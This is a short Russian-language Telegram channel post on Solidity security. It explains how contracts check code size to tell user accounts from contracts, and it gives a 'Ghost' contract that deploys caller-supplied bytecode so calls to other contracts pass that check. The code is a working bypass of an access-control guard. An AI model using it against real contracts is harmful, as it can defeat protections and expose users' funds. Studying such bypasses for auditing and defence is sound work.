TGViewer
Из Solidity в AI и дальше Из Solidity в AI и дальше @solidityset · 2.47K subscribers
Post #543 358
Обход проверки на code size

В некоторых контрактах мы видели, что есть проверка на размер кода в require или условии. Напомню, что предполагается, если code size > 0, то это контракт, если меньше - пользователь.

Даже в одной из задач ранее порой требовалось обойти подобную проверку через конструктор.

Так вот, нашел интересный пример кода "призрачного" контракта, через который можно отправлять запросы в другие контракты, при этом проходя проверку на code size.

Вот этот контракт:

contract Ghost {
  function sendGhostTransaction(bytes calldata payload) public returns (bool) {
    assembly {
      calldatacopy(0x80, payload.offset, payload.length)

      let deployedAddress := create(0, 0x80, payload.length)

       if iszero(deployedAddress){
          mstore(0x00, false)
          return(0x00, 0x20)
        }

        mstore(0x00, true)
        return(0x00, 0x20)
    }
  }
}

В calldata подставляете вызов нужной функции в другом контракте.

#ghost #codesize #security
  • 👍 1
More from @solidityset
  1. Oct 8, 2026Промо видео для SaaS и других ваших проектов Хочу поделить с вами одним из своих открытий…
  2. Oct 8, 2026video post
  3. Oct 2, 2026Вторая сложность — как доказать, что установилось именно опубликованное. В первом варианте…
  4. Oct 2, 2026Задача с полуоткрытым кодом На днях, в процессе создания одного приложения, столкнулся с и…
  5. Sep 22, 2026Какой язык программирования учить сейчас? На днях в Твиттере увидел небольшой пост о разви…
  6. Sep 18, 2026Интересная модель Jev Буквально пару дней назад в Твиттере многие начали обсуждение новой…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →